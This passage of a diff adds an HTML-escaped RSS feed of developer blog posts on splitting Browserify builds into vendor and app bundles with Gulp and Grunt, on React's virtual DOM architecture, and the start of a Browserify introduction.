+&lt;p&gt;If you include &lt;em&gt;vendor.js&lt;/em&gt; from the example in your HTML, you can then &lt;code data-syntax="text-only"&gt;require(&amp;#39;react&amp;#39;)&lt;/code&gt; or &lt;code data-syntax="text-only"&gt;require(&amp;#39;q&amp;#39;)&lt;/code&gt; from anywhere. You may notice, however, that your application bundle is still pulling these requirements in, defeating the whole purpose. This brings us to the next command line option we need to use, &lt;em&gt;--external&lt;/em&gt;. &lt;/p&gt;
+
+&lt;p&gt;The &lt;em&gt;--external&lt;/em&gt; option tells browserify that the given module will be provided externally and doesn&amp;#39;t need to be included in this bundle. When used with your application bundle, it will filter out the dependencies that you will be compiling into your vendor bundle.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;$ browserify -x react -x q -x loglevel src/index.js &amp;gt; build/app.js&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Make sure to include the &lt;em&gt;vendor.js&lt;/em&gt; file &lt;strong&gt;before&lt;/strong&gt; &lt;em&gt;app.js&lt;/em&gt; in your HTML, so that the dependencies will be available when &lt;em&gt;app.js&lt;/em&gt; is loaded.&lt;/p&gt;
+
+&lt;h2&gt;With Gulp&lt;/h2&gt;
+
+&lt;p&gt;&lt;a href="https://github.com/gulpjs/gulp"&gt;Gulp&lt;/a&gt; has recently overtaken &lt;a href="http://gruntjs.com/"&gt;Grunt&lt;/a&gt; as our task manager of choice. We typically set Gulp up with our major tasks in a &lt;em&gt;gulp/&lt;/em&gt; subfolder, and then we require each of those modules in our &lt;em&gt;gulpfile.js&lt;/em&gt;:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;&amp;#39;use strict&amp;#39;;
+var gulp = require(&amp;#39;gulp&amp;#39;);
+
+require(&amp;#39;./gulp/app&amp;#39;);
+require(&amp;#39;./gulp/serve&amp;#39;);
+require(&amp;#39;./gulp/vendor&amp;#39;);
+require(&amp;#39;./gulp/watch&amp;#39;);
+
+gulp.task(&amp;#39;build&amp;#39;, [
+ &amp;#39;app&amp;#39;,
+ &amp;#39;vendor&amp;#39;,
+]);
+
+gulp.task(&amp;#39;default&amp;#39;, [&amp;#39;build&amp;#39;], function() {
+ return gulp.start(&amp;#39;serve&amp;#39;, &amp;#39;watch&amp;#39;);
+});&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h3&gt;The vendor bundle&lt;/h3&gt;
+
+&lt;p&gt;I&amp;#39;ll start with our vendor bundle, and break it up to explain a few things.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;&amp;#39;use strict&amp;#39;;
+var browserify = require(&amp;#39;gulp-browserify&amp;#39;);
+var gulp = require(&amp;#39;gulp&amp;#39;);
+var rename = require(&amp;#39;gulp-rename&amp;#39;);
+var uglify = require(&amp;#39;gulp-uglify&amp;#39;);
+
+var libs = [
+ &amp;#39;react&amp;#39;,
+ &amp;#39;react/lib/ReactCSSTransitionGroup&amp;#39;,
+ &amp;#39;react/lib/cx&amp;#39;,
+ &amp;#39;q&amp;#39;,
+ &amp;#39;underscore&amp;#39;,
+ &amp;#39;loglevel&amp;#39;
+];&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;I assign an array of dependency names to a variable, because we&amp;#39;ll be using this in a couple of places.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;gulp.task(&amp;#39;vendor&amp;#39;, function() {
+ var production = (process.env.NODE_ENV === &amp;#39;production&amp;#39;);&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;I&amp;#39;m using the NODE_ENV environment variable to determine whether this is a production build or not.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;// A dummy entry point for browserify
+ var stream = gulp.src(&amp;#39;./gulp/noop.js&amp;#39;, {read: false})&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Since Gulp is a file-based build system, it needs a file to open the stream with. We don&amp;#39;t really need this on the vendor bundle, so my workaround is to point it to an empty file called &lt;em&gt;noop.js&lt;/em&gt;.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;// Browserify it
+ .pipe(browserify({
+ debug: false, // Don&amp;#39;t provide source maps for vendor libs
+ }))
+
+ .on(&amp;#39;prebundle&amp;#39;, function(bundle) {
+ // Require vendor libraries and make them available outside the bundle.
+ libs.forEach(function(lib) {
+ bundle.require(lib);
+ });
+ });&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;This is where the magic happens. The &lt;a href="https://github.com/deepak1556/gulp-browserify"&gt;gulp-browserify&lt;/a&gt; plugin doesn&amp;#39;t have an option to handle the &lt;em&gt;--require&lt;/em&gt; command, so I simply listen for the &amp;quot;prebundle&amp;quot; event that it sends, and interact with browserify&amp;#39;s API directly. The &lt;code data-syntax="text-only"&gt;bundle.require()&lt;/code&gt; method is documented &lt;a href="https://github.com/substack/node-browserify#brequirefile-opts"&gt;here&lt;/a&gt;. I iterate over the list of dependencies, and call &lt;code data-syntax="text-only"&gt;bundle.require()&lt;/code&gt; for each one.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;if (production) {
+ // If this is a production build, minify it
+ stream.pipe(uglify());
+ }
+
+ // Give the destination file a name, adding &amp;#39;.min&amp;#39; if this is production
+ stream.pipe(rename(&amp;#39;vendor&amp;#39; + (production ? &amp;#39;.min&amp;#39; : &amp;#39;&amp;#39;) + &amp;#39;.js&amp;#39;))
+
+ // Save to the build directory
+ .pipe(gulp.dest(&amp;#39;build/&amp;#39;));
+
+ return stream;
+
+});
+
+exports.libs = libs;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;The rest of the task is pretty basic. I minify it if this is a production build, give the bundle an appropriate name, and save it to the build directory. I assign the list of dependencies to &lt;code data-syntax="text-only"&gt;exports.libs&lt;/code&gt; so that it will be available to other modules, like our application bundle.&lt;/p&gt;
+
+&lt;h3&gt;The application bundle&lt;/h3&gt;
+
+&lt;p&gt;The application bundle follows a very similar pattern:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;&amp;#39;use strict&amp;#39;;
+var browserify = require(&amp;#39;gulp-browserify&amp;#39;);
+var gulp = require(&amp;#39;gulp&amp;#39;);
+var libs = require(&amp;#39;./vendor&amp;#39;).libs;
+var pkg = require(&amp;#39;../package.json&amp;#39;);
+var rename = require(&amp;#39;gulp-rename&amp;#39;);
+var uglify = require(&amp;#39;gulp-uglify&amp;#39;);&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;I import the list of dependencies that I exported from the vendor bundle with &lt;code data-syntax="text-only"&gt;require(&amp;#39;./vendor&amp;#39;).libs&lt;/code&gt;.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;gulp.task(&amp;#39;app&amp;#39;, function() {
+ var production = (process.env.NODE_ENV === &amp;#39;production&amp;#39;);
+
+ var stream = gulp.src(&amp;#39;src/index.js&amp;#39;, {read: false})
+
+ // Browserify it
+ .pipe(browserify({
+ debug: !production, // If not production, add source maps
+ transform: [&amp;#39;reactify&amp;#39;],
+ extensions: [&amp;#39;.jsx&amp;#39;]
+ }))&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;I include some settings for browserify, including a transform and additional extension definition for working with &amp;quot;.jsx&amp;quot; modules from React.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;.on(&amp;#39;prebundle&amp;#39;, function(bundle) {
+ // The following requirements are loaded from the vendor bundle
+ libs.forEach(function(lib) {
+ bundle.external(lib);
+ });
+ });&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Just as I did with the vendor bundle, I iterate over the list of dependencies. This time, however, I use &lt;code data-syntax="text-only"&gt;bundle.external()&lt;/code&gt;. It&amp;#39;s documented (briefly) &lt;a href="https://github.com/substack/node-browserify#bexternalfile"&gt;here&lt;/a&gt;.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;if (production) {
+ // If this is a production build, minify it
+ stream.pipe(uglify());
+ }
+
+ // Give the destination file a name, adding &amp;#39;.min&amp;#39; if this is production
+ stream.pipe(rename(pkg.name + (production ? &amp;#39;.min&amp;#39; : &amp;#39;&amp;#39;) + &amp;#39;.js&amp;#39;))
+
+ // Save to the build directory
+ .pipe(gulp.dest(&amp;#39;build/&amp;#39;));
+
+ return stream;
+});&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;The rest of the task is identical to the vendor bundle.&lt;/p&gt;
+
+&lt;h3&gt;Watching for changes&lt;/h3&gt;
+
+&lt;p&gt;Now, when something changes I can rebuild only the affected bundle. Here&amp;#39;s an example of my &lt;em&gt;watch.js&lt;/em&gt;:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;&amp;#39;use strict&amp;#39;;
+var gulp = require(&amp;#39;gulp&amp;#39;);
+var gutil = require(&amp;#39;gulp-util&amp;#39;);
+var livereload = require(&amp;#39;gulp-livereload&amp;#39;);
+
+gulp.task(&amp;#39;watch&amp;#39;, function() {
+ var reloadServer = livereload();
+
+ var app = gulp.watch(&amp;#39;src/**/{*.js,*.jsx}&amp;#39;);
+ app.on(&amp;#39;change&amp;#39;, function(event) {
+ gulp.start(&amp;#39;app&amp;#39;, function() {
+ gutil.log(gutil.colors.bgGreen(&amp;#39;Reloading...&amp;#39;));
+ reloadServer.changed(event.path);
+ });
+ });
+
+ var vendor = gulp.watch(&amp;#39;node_modules/**/*.js&amp;#39;);
+ vendor.on(&amp;#39;change&amp;#39;, function(event) {
+ gulp.start(&amp;#39;vendor&amp;#39;, function() {
+ gutil.log(gutil.colors.bgGreen(&amp;#39;Reloading...&amp;#39;));
+ reloadServer.changed(event.path);
+ });
+ });
+
+ gutil.log(gutil.colors.bgGreen(&amp;#39;Watching for changes...&amp;#39;));
+});&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;It&amp;#39;s a little verbose, because I&amp;#39;m using the &amp;quot;change&amp;quot; event in order to start the task and then trigger a liveReload as a callback. It works great, though! On one of our applications, the vendor bundle takes 5 or 6 seconds to compile, but the app bundle takes less than a second. This makes active development quite speedy!&lt;/p&gt;
+
+&lt;h2&gt;With Grunt&lt;/h2&gt;
+
+&lt;p&gt;For Grunt, we like the &lt;em&gt;load-grunt-config&lt;/em&gt; plugin that loads configuration blocks from modules in a &lt;em&gt;grunt/&lt;/em&gt; folder, similar to how we&amp;#39;re handling Gulp above.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;&amp;#39;use strict&amp;#39;;
+module.exports = function(grunt) {
+
+ // Look for grunt config files in the &amp;#39;grunt&amp;#39; directory
+ require(&amp;#39;load-grunt-config&amp;#39;)(grunt);
+
+ grunt.registerTask(&amp;#39;default&amp;#39;, [
+ &amp;#39;browserify:vendor&amp;#39;,
+ &amp;#39;browserify:app&amp;#39;,
+ &amp;#39;watch&amp;#39;
+ ]);
+};&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h3&gt;The browserify task&lt;/h3&gt;
+
+&lt;p&gt;Both the app and vendor bundles are configured inside the &lt;em&gt;browserify.js&lt;/em&gt; task file:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;&amp;#39;use strict&amp;#39;;
+
+module.exports = {
+ options: {
+ debug: true,
+ transform: [&amp;#39;reactify&amp;#39;],
+ extensions: [&amp;#39;.jsx&amp;#39;],
+ external: [
+ &amp;#39;react&amp;#39;,
+ &amp;#39;react/lib/ReactCSSTransitionGroup&amp;#39;,
+ &amp;#39;react/lib/cx&amp;#39;,
+ &amp;#39;q&amp;#39;,
+ &amp;#39;underscore&amp;#39;,
+ &amp;#39;loglevel&amp;#39;
+ ]
+ },
+ app: {
+ files: {
+ &amp;#39;build/app.js&amp;#39;: [&amp;#39;src/app.js&amp;#39;]
+ }
+ },&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;The app bundle uses the &amp;quot;external&amp;quot; config option from &lt;a href="https://github.com/jmreidy/grunt-browserify"&gt;grunt-browserify&lt;/a&gt;. I add the app bundle settings as the default, top-level options because I sometimes have more than one bundle that uses very similar settings. I don&amp;#39;t add the dependencies to an array, because - as you&amp;#39;ll see in the next step - I can&amp;#39;t reuse the array.&lt;/p&gt;
+
+&lt;p&gt;Here&amp;#39;s the configuration for the vendor bundle:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;vendor: {
+ // External modules that don&amp;#39;t need to be constantly re-compiled
+ src: [&amp;#39;.&amp;#39;],
+ dest: &amp;#39;build/vendor.js&amp;#39;,
+ options: {
+ debug: false,
+ alias: [
+ &amp;#39;react:&amp;#39;,
+ &amp;#39;react/lib/ReactCSSTransitionGroup:&amp;#39;,
+ &amp;#39;react/lib/cx:&amp;#39;,
+ &amp;#39;q:&amp;#39;,
+ &amp;#39;underscore:&amp;#39;,
+ &amp;#39;loglevel:&amp;#39;
+ ],
+ external: null // Reset this here because it&amp;#39;s not needed
+ }
+ }
+};&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;The &lt;code data-syntax="text-only"&gt;bundle.require()&lt;/code&gt; API is exposed through &lt;em&gt;grunt-browserify&lt;/em&gt;&amp;#39;s &amp;quot;alias&amp;quot; configuration. The reason I can&amp;#39;t reuse the array is because the plugin uses a colon to separate the module name from an optional alias (which corresponds to the &amp;quot;expose&amp;quot; property from browserify&amp;#39;s &lt;code data-syntax="text-only"&gt;bundle.require()&lt;/code&gt; method).&lt;/p&gt;
+
+&lt;h3&gt;The watch task&lt;/h3&gt;
+
+&lt;p&gt;The watch task uses &lt;a href="https://github.com/gruntjs/grunt-contrib-watch"&gt;grunt-contrib-watch&lt;/a&gt;, and the configuration is quite simple:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;module.exports = {
+ options: {livereload: true},
+ app: {
+ files: [&amp;#39;src/**/*.js&amp;#39;, &amp;#39;src/**/*.jsx&amp;#39;],
+ tasks: [&amp;#39;browserify:app&amp;#39;]
+ },
+ test: {
+ files: [&amp;#39;node_modules/**/*.js&amp;#39;],
+ tasks: [&amp;#39;browserify:vendor&amp;#39;]
+ }
+};&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Now you&amp;#39;re ready to hack away, and your app bundle can be regenerated in a fraction of the time it took before!&lt;/p&gt;
+</description><pubDate>Tue, 08 Apr 2014 14:45:23 -0500</pubDate><guid>http://lincolnloop.com/blog/speedy-browserifying-multiple-bundles/</guid></item><item><title>Architecting Your App with React - Part 1</title><link>http://lincolnloop.com/blog/architecting-your-app-react-part-1/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;In May of last year, Facebook released an open source library for building frontend components called &lt;a href="http://facebook.github.io/react/"&gt;React&lt;/a&gt;. It&amp;#39;s built around some rather unorthodox philosophies about the browser and application structure, but over time it has gained quite a bit of steam as many developers see the advantages it offers. One of the most striking distinctives of React is the virtual DOM that it provides in order to minimize changes to the actual browser DOM and provide impressive rendering performance.&lt;/p&gt;
+
+&lt;p&gt;React is not a full MVC framework, and this is actually one of its strengths. Many who adopt React choose to do so alongside their favorite MVC framework, like Backbone. React has no opinions about routing or syncing data, so you can easily use your favorite tools to handle those aspects of your frontend application. You&amp;#39;ll often see React used to manage specific parts of an application&amp;#39;s UI and not others. React really shines, however, when you fully embrace its strategies and make it the core of your application&amp;#39;s interface.&lt;/p&gt;
+
+&lt;h2&gt;Avoid the DOM wherever possible&lt;/h2&gt;
+
+&lt;p&gt;React provides a virtual DOM implemented entirely as JavaScript classes. This is so that you can make numerous updates to your applications element tree without actually incurring the overhead of browser DOM manipulations. With modern engines such as V8, JavaScript is extremely fast. So fast, in fact, that it&amp;#39;s entirely possible for you to render your entire application every time your data changes, eliminating the need for you to manipulate elements in place or manage two-way binding. React will periodically diff the virtual DOM against the browser DOM, and make the minimal set of changes needed to bring the browser DOM into sync.&lt;/p&gt;
+
+&lt;h2&gt;One-way data flow&lt;/h2&gt;
+
+&lt;p&gt;When the cost of rendering is so dramatically reduced, you are now free to take a much more declarative approach to managing your interface. Instead of implementing complex manipulations to update your elements in place and keep multiple sources of state in sync as data changes, you can keep your state in one place and describe your interface based on that. As things change, your component reacts by re-rendering.&lt;/p&gt;
+
+&lt;p&gt;When your whole application is build around this, you can pass immutable data from the top level down to various child components and then re-render your whole application from the top down when anything changes. It changes how you think about your application and often ends up simplifying things a great deal.&lt;/p&gt;
+
+&lt;h2&gt;The browser as a rendering engine&lt;/h2&gt;
+
+&lt;p&gt;This is a pretty radical departure from the strategy of most frontend MVC frameworks, which strive to reduce re-rendering as much as possible by automatically manipulating data in place with two-way binding. When I first started looking into React, I wasn&amp;#39;t convinced. The turning point for me was when I watched a video where &lt;a href="https://www.youtube.com/watch?v=DgVS-zXgMTk#t=1432"&gt;Pete Hunt compared React to the Doom 3 rendering engine&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src="https://lincolnloop.com/uploads/uploads/Screen_Shot_2014-01-27_at_9.14.01_AM.png" alt="The Doom 3 rendering engine"&gt;&lt;/p&gt;
+
+&lt;p&gt;In the diagram, the game state is fed into a &amp;quot;frontend&amp;quot; layer of logic and abstraction over the lower-level graphics code. This leads to the creation of a &amp;quot;scene intermediate representation&amp;quot; which describes what the user should see. This is given to the &amp;quot;backend&amp;quot;, which takes that representation and turns it into OpenGL operations, which renders the scene with the graphics card. React works in a very similar way.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src="https://lincolnloop.com/uploads/uploads/Screen_Shot_2014-01-27_at_9.14.21_AM.png" alt="React compared to Doom 3"&gt;&lt;/p&gt;
+
+&lt;p&gt;When something changes in the application state due to browser or realtime events, your application takes that state and passes it down to your components to create an intermediate representation of your user interface using the virtual DOM. No actual changes are made to the browser DOM right away, however. React periodically takes the virtual DOM and calculates the DOM operations needed, similar to how the game engine takes the scene IR and determines what OpenGL operations are needed. The browser takes the DOM and renders it to the screen.&lt;/p&gt;
+
+&lt;p&gt;In both the browser and game engine, the slow part is actually rendering the intermediate representation to the screen. You can make many small changes to the virtual DOM very quickly. React optimizes the part that matters, so you don&amp;#39;t have to sacrifice performance for code quality.&lt;/p&gt;
+
+&lt;h2&gt;More resources&lt;/h2&gt;
+
+&lt;p&gt;In Part 2, I&amp;#39;ll demonstrate how we use React to put these philosophies into practice. I&amp;#39;ll share how we set up a top-level application component that renders an interface composed of smaller components with different responsibilities, and I&amp;#39;ll describe how we integrate routing and data syncing into this structure.&lt;/p&gt;
+
+&lt;p&gt;In the meantime, take a look at the resources below if you would like to know more about React and how it works.&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://facebook.github.io/react/"&gt;The React homepage&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://facebook.github.io/react/docs/videos.html"&gt;Videos&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://facebook.github.io/react/docs/examples.html"&gt;Examples&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="https://groups.google.com/forum/#!forum/reactjs"&gt;The React Google Group&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="irc://chat.freenode.net/reactjs"&gt;#reactjs on Freenode&lt;/a&gt; - the official IRC channel, which is quite active.&lt;/li&gt;
+&lt;/ul&gt;
+</description><pubDate>Tue, 11 Mar 2014 07:46:09 -0500</pubDate><guid>http://lincolnloop.com/blog/architecting-your-app-react-part-1/</guid></item><item><title>Untangle Your JavaScript with Browserify</title><link>http://lincolnloop.com/blog/untangle-your-javascript-browserify/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;We&amp;#39;ve all been there. You&amp;#39;re working on an project with a lot of JavaScript, and you need to add a new widget that depends on some libraries. You have a complex template structure and you don&amp;#39;t know which libraries have been added as &amp;lt;script&amp;gt; tags already, or where they might be. You can&amp;#39;t just add them to the template you&amp;#39;re working on, because that would add redundant HTTP requests. Furthermore, you might end up overwriting a library that had plugins added to it, breaking other widgets that relied on those plugins. So, you end up putting all your &amp;lt;script&amp;gt; tags in your base template in a monolithic block and making sure you have them listed in the correct order.&lt;/p&gt;
+
+&lt;p&gt;Some time later, you realize you need to clean up your script block, but you have no idea which ones are still being used and which aren&amp;#39;t. You remove some tags you think are unneeded and the site seems fine when you click around, but later you get a bug report about a broken widget that was actually using that library. &lt;/p&gt;
+
+&lt;h2&gt;It doesn&amp;#39;t have to be this way&lt;/h2&gt;
+
+&lt;p&gt;As we do increasingly amazing things with the web, the size and complexity of our JavaScript code has exploded! In many cases we&amp;#39;re not building &amp;quot;sites&amp;quot; any more, we are truly building &amp;quot;apps&amp;quot; - highly interactive and responsive tools that look less and less like the hyperlinked pages of the original web. To move forward in this environment it&amp;#39;s vital to keep your code clean, well structured, and maintainable.&lt;/p&gt;
+
+&lt;p&gt;It&amp;#39;s time to embrace modularity in our client-side code. Instead of writing tightly integrated code that depends on everything being in the global scope, we should strive to create decoupled, discrete components that clearly define their dependencies and the functionality that they export. There are many tools to help with this, but two of the most popular are &lt;a href="http://browserify.org/"&gt;Browserify&lt;/a&gt; and &lt;a href="http://requirejs.org/"&gt;RequireJS&lt;/a&gt;.&lt;/p&gt;
+
+&lt;h2&gt;Browserify and transforms&lt;/h2&gt;
+
+&lt;p&gt;Though we used RequireJS briefly, in the end we chose Browserify for its simplicity, easy extension through transforms, and its focus on npm and the Node.js module system. It is an astoundingly flexible system that implements a &amp;quot;require&amp;quot; function on the browser and cleanly encapsulates modules so that they don&amp;#39;t pollute the global scope.&lt;/p&gt;
+
+&lt;p&gt;Transforms allow Browserify to become incredibly versatile. You can consume AMD packages with &lt;a href="https://github.com/jaredhanson/deamdify"&gt;deAMDify&lt;/a&gt;, or use &lt;a href="https://github.com/thlorenz/browserify-shim"&gt;browserify-shim&lt;/a&gt; to consume libraries that attach themselves to the window. You can take advantage of alternate package management systems, like Bower with &lt;a href="https://github.com/eugeneware/debowerify"&gt;debowerify&lt;/a&gt; or Component with &lt;a href="https://github.com/eugeneware/decomponentify"&gt;decomponentify&lt;/a&gt;. You can smoothly handle code that needs to be precompiled, like &lt;a href="https://github.com/jnordberg/coffeeify"&gt;CoffeeScript&lt;/a&gt; and &lt;a href="https://github.com/andreypopp/reactify"&gt;JSX&lt;/a&gt;. You can even precompile things like &lt;a href="https://github.com/epeli/node-hbsfy"&gt;Handlebars templates&lt;/a&gt; so that you can &amp;quot;require&amp;quot; them in your modules.&lt;/p&gt;
+
+&lt;h2&gt;Let&amp;#39;s get to work!&lt;/h2&gt;
+
+&lt;p&gt;So, enough talk about &lt;em&gt;why&lt;/em&gt;. Let&amp;#39;s move on to &lt;em&gt;how&lt;/em&gt;! Browserify is built with Node.js, so you will need to &lt;a href="https://github.com/joyent/node/wiki/Installing-Node.js-via-package-manager"&gt;have it installed&lt;/a&gt; on your system. To take your first steps with Browserify, you&amp;#39;ll probably want to install it globally so that you can use it as a command-line script.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;$ npm install -g browserify&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h2&gt;Writing modules&lt;/h2&gt;
+
+&lt;p&gt;Now, let&amp;#39;s write a simple module that requires something:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="s1"&gt;&amp;#39;use strict&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+
+&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;underscore&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+
+&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;logUnderscoreVersion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VERSION&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;
+
+&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;logUnderscoreVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;There are a few things you&amp;#39;ll notice here. First, some of you will immediately point out that I&amp;#39;m using &lt;code data-syntax="text-only"&gt;&amp;#39;use strict&amp;#39;&lt;/code&gt; outside of a function, and chastise me because that will apply strict mode to the entire global scope and break all the things! Thankfully, that&amp;#39;s not the case here. Browserify encapsulates every module in it&amp;#39;s own scope, so strict mode will only apply to the current module.&lt;/p&gt;
+
+&lt;p&gt;To use the Underscore library, I&amp;#39;m calling &amp;quot;require&amp;quot; and assigning it to the familiar &amp;quot;_&amp;quot; variable. At the moment, however, this will fail because we haven&amp;#39;t installed it yet. Remedy this with npm:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;$ npm install underscore&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;By calling the &amp;quot;install&amp;quot; command without the &amp;quot;-g&amp;quot; flag, you&amp;#39;re telling npm to install your dependency in the local &amp;quot;node_modules&amp;quot; folder, which it will create for you if needed. Browserify will use that folder to find Underscore and make it available to your module.&lt;/p&gt;
+
+&lt;p&gt;Finally, at the end of the module I&amp;#39;m &amp;quot;exporting&amp;quot; the function that I defined. This means that I am making that function available outside of my module. When another module requires my module, the result will be whatever I assigned to &amp;quot;module.exports&amp;quot;. This is how Node.js modules work. Anything I don&amp;#39;t export stays private to my module.&lt;/p&gt;
+
+&lt;h2&gt;Building a bundle&lt;/h2&gt;
+
+&lt;p&gt;Now, let&amp;#39;s use the command-line script to build a bundle for the browser. This will include all the required modules in one file. If you saved your module above as &amp;quot;logunderscore.js&amp;quot;, browserify it like this:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;$ browserify logunderscore.js &amp;gt; bundle.js&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Now you can include bundle.js in an HTML file using a single script tag, and you&amp;#39;re ready to use your JavaScript! Code that is outside of a function will be executed immediately, so a common pattern is to use a &amp;quot;main.js&amp;quot; or an &amp;quot;index.js&amp;quot; as an entry point that requires whatever you need to initialize your app and kicks it off immediately.&lt;/p&gt;
+
+&lt;h2&gt;Requiring your own modules&lt;/h2&gt;
+
+&lt;p&gt;When you need to require one of your own modules, use the relative path. You don&amp;#39;t need to add the &amp;quot;.js&amp;quot; at the end of the path.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;logUnderscoreVersion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./logunderscore&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+&lt;span class="nx"&gt;logUnderscoreVersion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h2&gt;Exporting multiple things&lt;/h2&gt;
+
+&lt;p&gt;If you need to export multiple functions or objects, you can use the &amp;quot;exports&amp;quot; shortcut from Node.js.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="s1"&gt;&amp;#39;use strict&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+
+&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;logDate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
